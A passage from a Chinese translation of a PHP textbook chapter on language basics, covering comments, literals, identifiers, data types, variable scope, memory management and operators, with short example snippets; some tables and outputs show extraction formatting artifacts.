C 风格的注释可用于禁用代码的部分。在以下示例中,我们通过将它们包含在块注释中禁用了第二和第三个语句,以及内联注释。要启用代码,我们只需删除注释标记:

$f = 6;
/*
$g = 7; # This is a different style of comment
$h = 8;
*/

但是,您必须小心不要尝试嵌套块注释:

$i = 9;
/*
$j = 10; /* This is a comment */
$k = 11;
Here is some comment text.
*/

在这种情况下,PHP 尝试(但失败)执行(非)语句 Here is some comment text 并返回错误。

字面量

字面量是程序中直接出现的数据值。以下是 PHP 中的所有字面量:

2001
0xFE
1.4142
"Hello World"
'Hi'
true
null

标识符

标识符简单来说就是一个名称。在 PHP 中,标识符用于命名变量、函数、常量和类。标识符的第一个字符必须是 ASCII 字母(大写或小写)、下划线字符 (_) 或者在 ASCII 0x7F 到 ASCII 0xFF 之间的任何字符。初始字符之后,这些字符和数字 0–9 都是有效的。

变量名

变量名总是以美元符号($)开头且区分大小写。以下是一些有效的变量名:

$bill
$head_count
$MaximumForce
$I_HEART_PHP
$_underscore
$_int

以下是一些非法的变量名:

$not valid
$|
$3wa

由于区分大小写,以下变量是不同的:

$hot_stuff $Hot_stuff $hot_Stuff $HOT_STUFF

函数名

函数名不区分大小写(函数详细讨论请参见 第三章)。以下是一些有效的函数名:

tally
list_all_users
deleteTclFiles
LOWERCASE_IS_FOR_WIMPS
_hide

这些函数名均指向同一个函数:

howdy HoWdY HOWDY HOWdy howdy

类名

类名遵循 PHP 标识符的标准规则,也不区分大小写。以下是一些有效的类名:

Person
account

类名 stdClass 是保留类名。

常量

常量是一个值的标识符,其值不会改变;标量值(布尔值、整数、浮点数和字符串)和数组可以是常量。一旦设置,常量的值就不能更改。通过 define() 函数设置常量:

define('PUBLISHER', "O'Reilly Media");
echo PUBLISHER;

关键字

关键字(或保留字)是语言为其核心功能保留的单词,您不能给函数、类或常量赋予与关键字相同的名称。表 2-1 列出了 PHP 中的关键字,这些关键字不区分大小写。

表 2-1. PHP 核心语言关键字

| __CLASS__ __DIR__

__FILE__

__FUNCTION__

__LINE__

__METHOD__

__NAMESPACE__

__TRAIT__

__halt_compiler()

abstract

and

array()

as

break

callable

case

catch

class

clone

const

continue

declare

default

die()

do | echo else

elseif

empty()

enddeclare

endfor

endforeach

endif

endswitch

endwhile

eval()

exit()

extends

final

finally

for

foreach

function

global

goto

if

implements

include

include_once

instanceof | insteadof interface

isset()

list()

namespace

new

or

print

private

protected

public

require

require_once

return

static

switch

throw

trait

try

unset()

use

var

while

xor

yield

yield from |

此外,您不能使用与内置 PHP 函数同名的标识符。完整列表请参见 附录。

数据类型

PHP 提供八种值或数据类型。其中四种是标量(单值)类型:整数、浮点数、字符串和布尔值。两种是复合(集合)类型:数组和对象。剩下的两种是特殊类型:资源和 NULL。数字、布尔值、资源和 NULL 在此详细讨论,而字符串、数组和对象是如此庞大的主题,它们有自己的章节(第 4、5 和 6 章)。

整数

整数是整数,如 1、12 和 256。可接受值的范围根据您平台的详细信息而异,但通常从 −2,147,483,648 到 +2,147,483,647。具体来说,范围相当于您的 C 编译器的长整型数据类型的范围。不幸的是,C 标准没有指定长整型应具有的范围,因此在某些系统上,整数范围可能会有所不同。

整数字面量可以用十进制、八进制、二进制或十六进制表示。十进制值由一系列数字组成,没有前导零。序列可以以加号(+)或减号()开头。如果没有符号,则假定为正数。十进制整数的示例包括以下内容:

1998
−641
+33

八进制数由前导 0 和由 0 到 7 的一系列数字组成。与十进制数类似,八进制数可以以加号或减号为前缀。以下是一些八进制值及其相应的十进制值示例:

0755 // decimal 493
+010 // decimal 8

十六进制值以 0x 开头,后跟一系列数字(0–9)或字母(A–F)。字母可以是大写或小写,但通常用大写字母表示。与十进制和八进制值一样,十六进制数可以包含符号:

0xFF // decimal 255
0x10 // decimal 16
–0xDAD1 // decimal −56017

二进制数以 0b 开头,后跟一系列数字(0 和 1)。与其他值一样,二进制数可以包含符号:

0b01100000 // decimal 96
0b00000010 // decimal 2
-0b10 // decimal -2

如果您试图存储一个太大无法存储为整数或不是整数的变量,它将自动转换为浮点数。

使用 is_int() 函数(或其 is_integer() 别名)来测试一个值是否为整数:

if (is_int($x)) {
 // $x is an integer
}

浮点数

浮点数(通常称为“实数”)用十进制数字表示数值。与整数类似,其限制取决于您计算机的详细信息。PHP 浮点数相当于您的 C 编译器的双精度数据类型的范围。通常,这允许在 1.7E−308 到 1.7E+308 之间的数值,具有 15 位精度。如果您需要更高的精度或更广范围的整数值,可以使用 BC 或 GMP 扩展。

PHP 可识别两种不同格式的浮点数。有一种是我们日常使用的:

3.14
0.017
-7.1

但是 PHP 也能识别科学计数法表示的数字:

0.314E1 // 0.314*10¹, or 3.14
17.0E-3 // 17.0*10^(-3), or 0.017

浮点数值只是数字的近似表示。例如,在许多系统上,3.5 实际上表示为 3.4999999999. 这意味着您必须小心避免编写假定浮点数完全准确表示的代码,例如直接使用==比较两个浮点数值。通常的方法是比较几个小数位数:

if (intval($a * 1000) == intval($b * 1000)) {
 // numbers equal to three decimal places
}

使用is_float()函数(或其is_real()别名)来测试一个值是否为浮点数:

if (is_float($x)) {
 // $x is a floating-point number
}

字符串

由于字符串在 Web 应用程序中非常常见,PHP 包含了在核心级别支持创建和操作字符串的功能。字符串是任意长度的字符序列。字符串字面量由单引号或双引号括起来:

'big dog'
"fat hog"

变量在双引号内扩展(插值),而在单引号内不会:

$name = "Guido";
echo "Hi, $name <br/>";
echo 'Hi, $name';
`Hi``,` `Guido`
`Hi``,` `$name`

双引号还支持多种字符串转义,如表 2-2 中列出的:

表 2-2. 双引号字符串中的转义序列

转义序列 表示的字符
\" 双引号
\n 换行符
\r 回车符
\t 制表符
\\ 反斜杠
`| 转义序列 表示的字符
--- ---
\" 双引号
\n 换行符
\r 回车符
\t 制表符
\\ 反斜杠
美元符号
\{ 左大括号
\} 右大括号
\[ 左括号
\] 右括号
\0\777 由八进制值表示的 ASCII 字符
\x0\xFF 由十六进制值表示的 ASCII 字符

单引号字符串识别\\以获取文字反斜杠和\'以获取文字单引号:

$dosPath = 'C:\\WINDOWS\\SYSTEM';
$publisher = 'Tim O\'Reilly';
echo "$dosPath $publisher";
C:\WINDOWS\SYSTEM Tim O'Reilly

要测试两个字符串是否相等,请使用==(双等号)比较运算符:

if ($a == $b) {
 echo "a and b are equal";
}

使用is_string()函数来测试一个值是否为字符串:

if (is_string($x)) {
 // $x is a string
}

PHP 提供了运算符和函数来比较、拆解、组装、搜索、替换和修剪字符串,以及一系列专门用于处理 HTTP、HTML 和 SQL 编码的字符串函数。由于有许多字符串操作函数,我们已经专门撰写了一个完整的章节(第四章)来详细介绍所有细节。

布尔值

布尔值表示一个真值——它表示某事是真的还是不真的。像大多数编程语言一样,PHP 定义了一些值为真,其他为假。真实性和虚假性决定了条件代码的结果,如:

if ($alive) { ... }

在 PHP 中,以下值都被评估为false

  • 关键字false

  • 整数0

  • 浮点值0.0

  • 空字符串("")和字符串"0"

  • 零元素的数组

  • NULL

一个不为假的值就是真,包括所有资源值(稍后在“资源”部分描述)。

PHP 提供了truefalse关键字以确保清晰:

$x = 5; // $x has a true value
$x = true; // clearer way to write it
$y = ""; // $y has a false value
$y = false; // clearer way to write it

使用is_bool()函数来测试一个值是否为布尔值:

if (is_bool($x)) {
 // $x is a Boolean
}

数组

数组保存一组值,可以通过位置(数字,零为第一个位置)或某些标识名称(字符串),称为关联索引来标识:

$person[0] = "Edison";
$person[1] = "Wankel";
$person[2] = "Crapper";

$creator['Light bulb'] = "Edison";
$creator['Rotary Engine'] = "Wankel";
$creator['Toilet'] = "Crapper";

array()结构创建一个数组。以下是两个例子:

$person = array("Edison", "Wankel", "Crapper");
$creator = array('Light bulb' => "Edison",
 'Rotary Engine' => "Wankel",
 'Toilet' => "Crapper");

有几种方法可以遍历数组,但最常见的是foreach循环:

foreach ($person as $name) {
 echo "Hello, {$name}<br/>";
}

foreach ($creator as $invention => $inventor) {
 echo "{$inventor} invented the {$invention}<br/>";
}
`Hello``,` `Edison`
`Hello``,` `Wankel`
`Hello``,` `Crapper`
`Edison` `created` `the` `Light` `bulb`
`Wankel` `created` `the` `Rotary` `Engine`
`Crapper` `created` `the` `Toilet`

可以使用不同的排序函数对数组元素进行排序:

 sort($person);
// $person is now array("Crapper", "Edison", "Wankel") 
 asort($creator);
// $creator is now array('Toilet' => "Crapper", // 'Light bulb' => "Edison", // 'Rotary Engine' => "Wankel");

使用is_array()函数来测试一个值是否为数组:

if (is_array($x)) {
 // $x is an array
}

有返回数组中项数的函数、获取数组中每个值的函数等。数组在第五章中有详细介绍。

对象

PHP 也支持面向对象编程(OOP)。OOP 促进了清晰的模块化设计;简化了调试和维护;并有助于代码重用。类是面向对象设计的构建块。类是一个包含属性(变量)和方法(函数)定义的结构。类用class关键字定义:

class Person
{
 public $name = '';

 function name ($newname = NULL)
 {
 if (!is_null($newname)) {
 $this->name = $newname;
 }

 return $this->name;
 }
}

一旦类被定义,可以用new关键字从中创建任意数量的对象,并且可以通过->构造访问对象的属性和方法:

$ed = new Person;
$ed->name('Edison');
echo "Hello, {$ed->name} <br/>";
$tc = new Person;
$tc->name('Crapper');
echo "Look out below {$tc->name} <br/>";
`Hello``,` `Edison`
`Look` `out` `below` `Crapper`

使用is_object()函数来测试一个值是否为对象:

if (is_object($x)) {
 // $x is an object
}

第六章详细描述了类和对象,包括继承、封装和内省。

资源

许多模块提供多个处理外部世界的函数。例如,每个数据库扩展至少有一个连接数据库的函数、一个查询数据库的函数和一个关闭数据库连接的函数。因为你可以同时打开多个数据库连接,连接函数在你调用查询和关闭函数时提供了一个用于标识唯一连接的东西:一个资源(或一个句柄)。

每个活动资源都有一个唯一的标识符。每个标识符都是一个数值索引,指向内部 PHP 查找表中所有活动资源的信息。PHP 在这个表中维护关于每个资源的信息,包括代码中对该资源的引用次数。当对资源值的最后一个引用消失时,调用创建资源的扩展来执行释放内存或关闭连接等任务:

$res = database_connect(); // fictitious database connect function
database_query($res);

$res = "boo";
// database connection automatically closed because $res is redefined

这种自动清理的好处在于函数内部最为明显,当资源被分配给一个局部变量时。当函数结束时,变量的值会被 PHP 回收:

function search() {
 $res = database_connect();
 database_query($res);
}

当不再有指向资源的引用时,它会自动关闭。

尽管如此,大多数扩展提供了特定的关闭或清理函数,明确调用该函数被认为是良好的风格,而不是依赖变量作用域触发资源清理。

使用is_resource()函数来测试一个值是否为资源:

if (is_resource($x)) {
 // $x is a resource
}

回调

回调是一些函数或对象方法,由某些函数(如call_user_func())使用。回调也可以通过create_function()方法和闭包(在第三章中描述)创建:

$callback = function()
{
 echo "callback achieved";
};

call_user_func($callback);

NULL

NULL 数据类型只有一个值。通过大小写不敏感的关键字NULL可以访问这个值。NULL值表示一个没有值的变量(类似于 Perl 的undef或 Python 的None):

$aleph = "beta";
$aleph = null; // variable's value is gone
$aleph = Null; // same
$aleph = NULL; // same

使用is_null()函数来测试一个值是否为NULL,例如检查一个变量是否有值:

if (is_null($x)) {
 // $x is NULL
}

变量

PHP 中的变量是以美元符号($)为前缀的标识符。例如:

$name
$Age
$_debugging
$MAXIMUM_IMPACT

变量可以保存任何类型的值。在变量上没有编译时或运行时类型检查。可以用不同类型的值替换变量的值:

$what = "Fred";
$what = 35;
$what = array("Fred", 35, "Wilma");

PHP 中没有明确的语法用于声明变量。第一次设置变量的值时,变量就会在内存中创建。换句话说,给变量赋值也是声明变量的方式。例如,这是一个有效的完整 PHP 程序:

$day = 60 * 60 * 24;
echo "There are {$day} seconds in a day.";
`There` `are` `86400` `seconds` `in` `a` `day``.`

如果变量的值尚未设置,则变量的行为类似于NULL值:

if ($uninitializedVariable === NULL) {
 echo "Yes!";
}
`Yes``!`

变量变量

可以通过在变量引用前面加一个额外的美元符号($)来引用存储在另一个变量中的变量的值。例如:

$foo = "bar";
$$foo = "baz";

第二条语句执行后,变量$bar的值为"baz"

变量引用

在 PHP 中,引用是创建变量别名或指针的方式。要将$black设为变量$white的别名,请使用:

$black =& $white;

$black的旧值(如果有)会丢失。现在,$black是存储在$white中的值的另一个名称:

$bigLongVariableName = "PHP";
$short =& $bigLongVariableName;
$bigLongVariableName .= " rocks!";
print "\$short is $short <br/>";
print "Long is $bigLongVariableName";
`$short` `is` `PHP` `rocks``!`
`Long` `is` `PHP` `rocks``!`

$short = "Programming $short";
print "\$short is $short <br/>";
print "Long is $bigLongVariableName";
`$short` `is` `Programming` `PHP` `rocks``!`
`Long` `is` `Programming` `PHP` `rocks``!`

赋值后,两个变量是同一个值的替代名称。对别名变量取消设置不会影响该变量值的其他名称:

$white = "snow";
$black =& $white;
unset($white);
print $black;
`snow`

函数可以通过引用返回值(例如,避免复制大字符串或数组,如第三章中所述):

function &retRef() // note the &
{
 $var = "PHP";

 return $var;
}

$v =& retRef(); // note the &

变量作用域

变量的作用域由变量声明的位置控制,决定程序中可以访问它的部分。在 PHP 中,变量的作用域有四种类型:局部、全局、静态和函数参数。

局部作用域

在函数中声明的变量只在该函数内部可见。也就是说,它只能被函数内的代码访问(除了嵌套函数定义);它不能在函数外部访问。此外,默认情况下,在函数外部定义的变量(称为全局变量)在函数内部不可访问。例如,下面是一个更新局部变量而不是全局变量的函数示例:

function updateCounter()
{
 $counter++;
}

$counter = 10;
updateCounter();

echo $counter;
`10`

函数内部的$counter是局部变量,因为我们没有明确指定。函数递增其私有的$counter变量,在子程序结束时销毁。全局的$counter保持为 10。

只有函数能提供局部作用域。与其他语言不同,在 PHP 中,你不能创建其作用域为循环、条件分支或其他类型块的变量。

全局作用域

在函数外声明的变量是全局的。也就是说,它们可以从程序的任何部分访问。但是,默认情况下,它们在函数内部不可用。为了允许函数访问全局变量,你可以在函数内部使用 global 关键字来声明函数内部的变量。下面是我们如何重写 updateCounter() 函数,以允许它访问全局 $counter 变量的示例:

function updateCounter()
{
 global $counter;
 $counter++;
}

$counter = 10;
updateCounter();
echo $counter;
`11`

更新全局变量的一种更麻烦的方法是使用 PHP 的 $GLOBALS 数组,而不是直接访问变量:

function updateCounter()
{
 $GLOBALS[‘counter’]++;
}

$counter = 10;
updateCounter();
echo $counter;
`11`

静态变量

静态变量在函数调用之间保持其值,但仅在该函数内部可见。你可以使用 static 关键字声明变量为静态变量。例如:

function updateCounter()
{
 static $counter = 0;
 $counter++;

 echo "Static counter is now {$counter}<br/>";
}

$counter = 10;
updateCounter();
updateCounter();

echo "Global counter is {$counter}";
`Static` `counter` `is` `now` `1`
`Static` `counter` `is` `now` `2`
`Global` `counter` `is` `10`

函数参数

正如我们将在第三章中详细讨论的那样,函数定义可以有命名参数:

function greet($name)
{
 echo "Hello, {$name}";
}

greet("Janet");
`Hello``,` `Janet`

函数参数是局部的,意味着它们仅在其函数内部可用。在这种情况下,$name 无法从 greet() 外部访问。

垃圾回收

PHP 使用引用计数写时复制来管理内存。写时复制确保在变量之间复制值时不会浪费内存,并且引用计数确保在不再需要内存时将内存返回给操作系统。

要理解 PHP 中的内存管理,你必须首先理解符号表的概念。变量有两部分组成——它的名称(例如 $name)和它的值(例如 "Fred")。符号表是一个数组,将变量名映射到它们值在内存中位置的数组。

当你将一个值从一个变量复制到另一个变量时,PHP 不会为该值创建一个新的内存空间。相反,它会更新符号表,指示“这两个变量都是指向同一块内存的名称”。所以下面的代码实际上并不创建一个新的数组:

$worker = array("Fred", 35, "Wilma");
$other = $worker; // array isn't duplicated in memory

如果随后修改任一副本,PHP 会分配所需的内存并进行复制:

$worker[1] = 36; // array is copied in memory, value changed

通过延迟分配和复制,PHP 在许多情况下节省时间和内存。这就是写时复制。

符号表指向的每个值都有一个引用计数,这个数字表示到达该内存块的方式数量。在将数组分配给 $worker 和将 $worker 分配给 $other 后,符号表条目所指向的数组的引用计数为 2。¹ 换句话说,这块内存可以通过 $worker$other 两种方式访问。但是在修改 $worker[1] 后,PHP 会为 $worker 创建一个新的数组,并且每个数组的引用计数仅为 1。

当变量在函数结束时超出范围时,如函数参数和局部变量,其值的引用计数将减少一次。当变量在内存的不同区域被赋予一个新值时,旧值的引用计数将减少一次。当值的引用计数达到 0 时,其内存将被释放。这就是引用计数。

引用计数是管理内存的首选方法。保持变量局限于函数内部,传递函数需要处理的值,并让引用计数处理内存管理。如果您坚持想要获取有关释放变量值的更多信息或控制,请使用 isset()unset() 函数。

若要查看变量是否设置为某些内容(甚至是空字符串),请使用 isset()

$s1 = isset($name); // $s1 is false
$name = "Fred";
$s2 = isset($name); // $s2 is true

使用 unset() 来移除变量的值:

$name = "Fred";
unset($name); // $name is NULL

表达式和操作符

表达式 是一段 PHP 代码,可以求值为一个值。最简单的表达式是文字值和变量。文字值求值为它自身,而变量求值为存储在变量中的值。更复杂的表达式可以使用简单表达式和操作符组成。

操作符 接受一些值(操作数)并执行某些操作(例如,将它们加在一起)。操作符有时用标点符号表示,例如我们在数学中熟悉的 +- 。某些操作符会修改它们的操作数,而大多数则不会。

表格 2-3 总结了 PHP 中的操作符,其中许多操作符来自 C 和 Perl。标有“P”的列显示了操作符的优先级;操作符按照从高到低的优先级顺序列出。标有“A”的列显示了操作符的结合性,可以是 L(从左到右)、R(从右到左)或 N(非结合性)。

表格 2-3. PHP 操作符

P A 操作符 操作
24 N clone, new 创建新对象
23 L `` 数组下标
22 R ** 指数运算
21 R ~ 按位非
R ++ 自增
R −− 自减
R (int), (bool), (float), (string), (array), (object), (unset) 强制类型转换
R @ 抑制错误
20 N instanceof 类型检测
19 R ! 逻辑非
18 L * 乘法
L / 除法
L % 取模
17 L + 加法
L 减法
L . 字符串连接
16 L << 左移
L >> 右移
15 N <, <= 小于,小于等于
N >, >= 大于,大于等于
14 N == 值相等
N !=, <> 不等于
N === 类型和值相等
N !== 类型和值不等
N <=> 基于两个操作数的比较返回一个整数:当左右相等时为 0,当左小于右时为 -1,当左大于右时为 1
13 L & 按位与
12 L ^ 按位异或
11 L &#124; 按位或
10 L && 逻辑与
9 L &#124;&#124; 逻辑或
8 R ?? 比较
7 L ?: 条件运算符
6 R = 赋值
R +=, −=, *=, /=, .=, %=, &=, &#124;=, ^=, ~=, <<=, >>= 带操作的赋值
5 yield from 从产出
4 yield 产出
3 L and 逻辑与
2 L xor 逻辑异或
1 L or 逻辑或

操作数的数量

大多数 PHP 中的操作符是二元操作符;它们将两个操作数(或表达式)组合成一个更复杂的表达式。PHP 也支持几个一元操作符,将单个表达式转换为更复杂的表达式。最后,PHP 支持一些三元操作符,将多个表达式组合成单个表达式。

操作符优先级

表达式中操作符的求值顺序取决于它们的相对优先级。例如,您可能会写:

2 + 4 * 3

如您在[表 2-3 中所见,加法和乘法运算符具有不同的优先级,其中乘法高于加法。因此,乘法先于加法运算,得出 2 + 12,即 14。如果加法和乘法的优先级被反转,6 * 3,即 18,将成为答案。

要强制执行特定顺序,可以使用括号将操作数分组。在我们之前的例子中,要获取值 18,可以使用以下表达式:

(2 + 4) * 3

可以通过将操作数和操作符按照正确的顺序放置,使它们的相对优先级产生您想要的答案,来编写所有复杂的表达式(包含多个操作符的表达式)。然而,大多数程序员按照他们认为最合理的顺序编写操作符,并添加括号以确保 PHP 也能理解。如果优先级弄错了,会导致类似于以下的代码:

$x + 2 / $y >= 4 ? $z : $x << $z

这段代码很难阅读,几乎肯定不会达到程序员的预期。

许多程序员处理编程语言中复杂的优先级规则的一种方式是将优先级简化为两个规则:

  • 乘法和除法的优先级高于加法和减法。

  • 对于其他情况,请使用括号。

操作符的结合性

结合性定义了在具有相同优先级顺序的操作符中的求值顺序。例如,看一下:

2 / 2 * 2

除法和乘法运算符具有相同的优先级,但表达式的结果取决于我们首先执行哪个操作:

2 / (2 * 2) // 0.5
(2 / 2) * 2 // 2

除法和乘法运算符是左结合的;这意味着在有歧义的情况下,运算符从左到右进行计算。在这个例子中,正确的结果是 2。

隐式类型转换

许多运算符对其操作数有特定的要求,例如,二进制数学运算符通常要求两个操作数是相同的类型。PHP 的变量可以存储整数、浮点数、字符串等,为了尽可能地将类型细节远离程序员,PHP 会根据需要将值从一种类型转换为另一种类型。

将一个值从一种类型转换为另一种类型称为类型转换。这种隐式转换在 PHP 中称为类型强制转换。算术运算符进行的类型强制转换的规则见表 2-4。

表 2-4. 二元算术操作的隐式转换规则

第一个操作数的类型 第二个操作数的类型 执行的转换
整数 浮点数 将整数转换为浮点数。
整数 字符串 将字符串转换为数字;如果转换后的值为浮点数,则整数转换为浮点数。
浮点数 字符串 将字符串转换为浮点数。

其他一些运算符对其操作数有不同的期望,因此有不同的规则。例如,字符串连接运算符在连接之前将两个操作数转换为字符串:

3 . 2.74 // gives the string 32.74

在 PHP 期望数字的任何地方都可以使用字符串。假定字符串以整数或浮点数开头。如果在字符串开头找不到数字,则该字符串的数值为 0. 如果字符串包含句点(.)或大写或小写 e,则将其数值化后产生一个浮点数。例如:

"9 Lives" - 1; // 8 (int)
"3.14 Pies" * 2; // 6.28 (float)
"9\. Lives" - 1; // 8 (float / double)
"1E3 Points of Light" + 1; // 1001 (float)

算术运算符

算术运算符是你在日常使用中会认识到的运算符。大多数算术运算符都是二元的;然而,算术否定和算术断言运算符是一元的。这些运算符需要数值,非数值将按照“强制转换运算符”部分描述的规则转换为数值。算术运算符包括:

加法 (+)

加法运算符的结果是两个操作数的和。

减法 ()

减法运算符的结果是两个操作数之间的差值,即第二个操作数从第一个操作数中减去的值。

乘法 (*)

乘法运算符的结果是两个操作数的乘积。例如,3 * 412

除法 (/)

除法运算的结果是两个操作数的商。两个整数相除可以得到一个整数(例如,4 / 2)或者浮点数结果(例如,1 / 2)。

取模 (%)

模运算符将两个操作数转换为整数,并返回第一个操作数除以第二个操作数的余数。例如,10 % 6 的余数为 4

算术取反 ()

算术取反运算符返回操作数乘以−1,有效地改变其符号。例如,−(3 − 4) 的计算结果为 1。算术取反与减法运算符不同,尽管它们都写成减号。算术取反始终是一元的,并置于操作数之前。减法是二元的,并置于其操作数之间。

算术断言 (+)

算术断言运算符返回操作数乘以+1,这没有任何效果。它仅用作视觉提示,指示值的符号。例如,+(3 − 4) 的计算结果为 -1,就像 (3 − 4) 一样。

指数运算 (**)

指数运算符返回将 $var1 的值提高到 $var2 次幂的结果。

$var1 = 5;
$var2 = 3;
echo $var1 ** $var2; // outputs 125

字符串连接运算符

在 PHP 应用程序中,操作字符串是非常核心的部分,因此 PHP 单独有一个字符串连接运算符 (.)。连接运算符将右操作数附加到左操作数并返回结果字符串。必要时,操作数首先会被转换为字符串。例如:

$n = 5;
$s = 'There were ' . $n . ' ducks.';
// $s is 'There were 5 ducks'

字符串连接运算符非常高效,因为 PHP 大部分操作都可以归结为字符串连接。

自增和自减运算符

在编程中,增加或减少变量值是最常见的操作之一。一元自增 (++) 和自减 (−−) 运算符为这些常见操作提供了快捷方式。这些运算符独特之处在于它们仅适用于变量;运算符会改变它们的操作数的值并返回一个值。

在表达式中使用自增或自减有两种方法。如果将运算符放在操作数前面,它将返回操作数的新值(增加或减少后)。如果将运算符放在操作数后面,它将返回操作数的原始值(增加或减少前)。表 2-5 列出了不同的操作。

表 2-5. 自增和自减操作

运算符 名称 返回的值 $var 的影响
$var++ | 后自增 | $var 自增后的值
++$var | 前自增 | $var + 1 自增后的值
$var−− | 后自减 | $var 自减后的值
−−$var | 前自减 | $var − 1 自减后的值

这些运算符可以应用于字符串和数字。对字母进行自增操作会将其转换为字母表中的下一个字母。正如在 表 2-6 中所示,对 "z""Z" 进行自增操作会将其回环到 "a""A",并使前一个字符自增一次(或者在字符串的第一个字符处插入新的 "a""A"),就像字符处于一个 26 进制数系统中一样。

表 2-6. 字母的自增

递增此值 得到此值
"a" "b"
"z" "aa"
"spaz" "spba"
"K9" "L0"
"42" "43"

比较运算符

正如它们的名称所示,比较运算符用于比较操作数。结果要么为true(如果比较为真),要么为false

比较运算符的操作数可以是全数字、全字符串或一个数字和一个字符串。根据操作数的类型和值,这些运算符稍有不同地检查真实性,可以使用严格的数值比较或按字典序(文本)比较。表 2-7 概述了每种检查何时使用。

表 2-7. 比较运算符执行的比较类型

第一个操作数 第二个操作数 比较
Number Number Numeric
完全是数字的字符串 完全是数字的字符串 数字型
完全是数字的字符串 数字 数字型
完全是数字的字符串 不完全是数字的字符串 字典序
不完全是数字的字符串 数字 数字型
不完全是数字的字符串 不完全是数字的字符串 字典序

一个重要的注意事项是,两个数字字符串会被比较为数值。如果你有两个完全由数字字符组成的字符串,并且需要按字典顺序比较它们,请使用strcmp()函数。

比较运算符包括:

等于(==

如果两个操作数相等,则该运算符返回true;否则返回false

相同(===

如果两个操作数相等且类型相同,则该运算符返回true;否则返回false。请注意,该运算符不会进行隐式类型转换。当你不确定所比较的值是否为相同类型时,此运算符非常有用。简单比较可能涉及值转换。例如,字符串 "0.0""0" 不相等。== 运算符说它们相等,但 === 运算符说它们不相等。

不等于(!=<>

如果操作数不相等,则该运算符返回true;否则返回false

不相同(!==

如果操作数不相等或它们不是相同类型,则该运算符返回true;否则返回false

大于 (>)

如果左操作数大于右操作数,则该运算符返回true;否则返回false

大于或等于 (>=)

如果左操作数大于或等于右操作数,则该运算符返回true;否则返回false

小于 (<)

如果左操作数小于右操作数,则该运算符返回true;否则返回false

小于或等于 (<=)

如果左操作数小于或等于右操作数,则该运算符返回 true;否则,返回 false

太空船运算符(<=>),也称为“达斯·维达的 TIE 战斗机”

当左操作数等于右操作数时,该运算符返回 0;当左操作数小于右操作数时,返回 -1;当左操作数大于右操作数时,返回 1

$var1 = 5;
$var2 = 65;

`echo` $var1 <=> $var2 ; // outputs -1 `echo` $var2 <=> $var1 ; // outputs 1

空值合并运算符(??

如果左操作数为 NULL,则该运算符求值为右操作数;否则,求值为左操作数。

$var1 = null;
$var2 = 31;

echo $var1 ?? $var2 ; //outputs 31

位运算符

位运算符作用于其操作数的二进制表示。首先将每个操作数转换为其数值的二进制表示,如下面列表中位取反运算符条目所述。所有位运算符都可以作用于数字以及字符串,但它们在处理长度不同的字符串操作数时有所不同。位运算符包括:

位取反(~

位取反运算符将操作数的二进制表示中的 1 变为 0,0 变为 1。在执行操作之前,浮点数值会转换为整数。如果操作数是字符串,则结果值是与原始字符串长度相同的字符串,其中字符串中的每个字符都被取反。

位与(&

位与运算符比较操作数的二进制表示中的每个对应位。如果两个位都是 1,则结果中的对应位为 1;否则,对应位为 0。例如,0755 & 06710651。如果我们查看二进制表示,会更容易理解。八进制 0755 的二进制是 111101101,八进制 0671 的二进制是 110111001。然后我们可以轻松看出这两个数字中哪些位是相同的,并直观地得出答案:

 111101101
& 110111001
 ---------
 110101001

二进制数 110101001 是八进制 0651。² 在尝试理解二进制算术时,可以使用 PHP 函数 bindec()decbin()octdec()decoct() 进行数字的双向转换。

如果两个操作数都是字符串,则该运算符返回一个字符串,其中每个字符都是两个操作数中对应字符进行位与操作的结果。结果字符串的长度是两个操作数中较短的那个;在较长字符串的末尾多余字符将被忽略。例如,"wolf" & "cat""cad"

位或(|

位或运算符比较操作数的二进制表示中的每个对应位。如果两个位都是 0,则结果位为 0;否则,结果位为 1。例如,0755 | 0200775

如果两个操作数都是字符串,则运算符返回一个字符串,其中每个字符是操作数中对应字符进行位或操作的结果。结果字符串的长度为两个操作数中较长的那个,并且较短的字符串在末尾填充二进制 0。例如,"pussy" | "cat""suwsy"

位异或 (^)

位异或运算符比较操作数的二进制表示中的每个对应位。如果一对中的任一位(但不是两者都是)为 1,则结果位为 1;否则,结果位为 0。例如,0755 ^ 023776

如果两个操作数都是字符串,则此运算符返回一个字符串,其中每个字符是操作数中对应字符进行位异或操作的结果。如果两个字符串长度不同,则结果字符串的长度为较短操作数的长度,并且忽略较长字符串中多余的尾部字符。例如,"big drink" ^ "AA""#("

左移位 (<<)

左移位运算符将左操作数的二进制表示中的位向左移动右操作数指定的位数。如果它们尚未是整数,则两个操作数将被转换为整数。向左移动二进制数会在数字的最右边插入一个 0,并将所有其他位向左移动一个位置。例如,3 << 1(或二进制 11 向左移动一位)的结果是 6(二进制 110)。

注意,每次向左移动数字的位置都会导致数字加倍。左移的结果是将左操作数乘以右操作数的 2 的幂。

右移位 (>>)

右移位运算符将左操作数的二进制表示中的位向右移动右操作数指定的位数。如果它们尚未是整数,则两个操作数将被转换为整数。将正数二进制数向右移动会在数字的最左边插入一个 0,并将所有其他位向右移动一个位置。将负数二进制数向右移动会在数字的最左边插入一个 1,并将所有其他位向右移动一个位置。最右边的位被丢弃。例如,13 >> 1(或二进制 1101 向右移动一位)的结果是 6(二进制 110)。

逻辑运算符

逻辑运算符提供了构建复杂逻辑表达式的方法。逻辑运算符将其操作数视为布尔值并返回布尔值。运算符有标点和英文版本(||or 是相同的运算符)。逻辑运算符包括:

逻辑与 (&&, and)

逻辑与操作的结果如果且仅如果两个操作数都为 true,则结果为 true;否则为 false。如果第一个操作数的值为 false,逻辑与操作符知道结果值必须也为 false,因此右操作数不会被评估。这个过程称为 短路,一个常见的 PHP 习惯用法是确保只有在某些条件为真时才评估代码。例如,你可能只有在某些标志不为 false 时才连接到数据库:

$result = $flag and mysql_connect();

&&and 操作符在它们的优先级上是有所不同的:&&and 之前。

逻辑或 (||, or)

逻辑或操作的结果如果任一操作数为 true,则结果为 true;否则为 false。与逻辑与操作符类似,逻辑或操作符也是短路的。如果左操作数为 true,则操作符的结果必须为 true,因此右操作数永远不会被评估。一个常见的 PHP 习惯用法是在发生错误时触发错误条件。例如:

$result = fopen($filename) or exit();

||or 操作符在它们的优先级上是有所不同的。

逻辑异或 (xor)

逻辑异或操作的结果如果任一操作数为 true 但不是两个操作数都为 true,则结果为 true;否则为 false

逻辑非 (!)

逻辑非操作符如果操作数评估为 false,则返回布尔值 true,如果操作数评估为 true,则返回布尔值 false

强制转换操作符

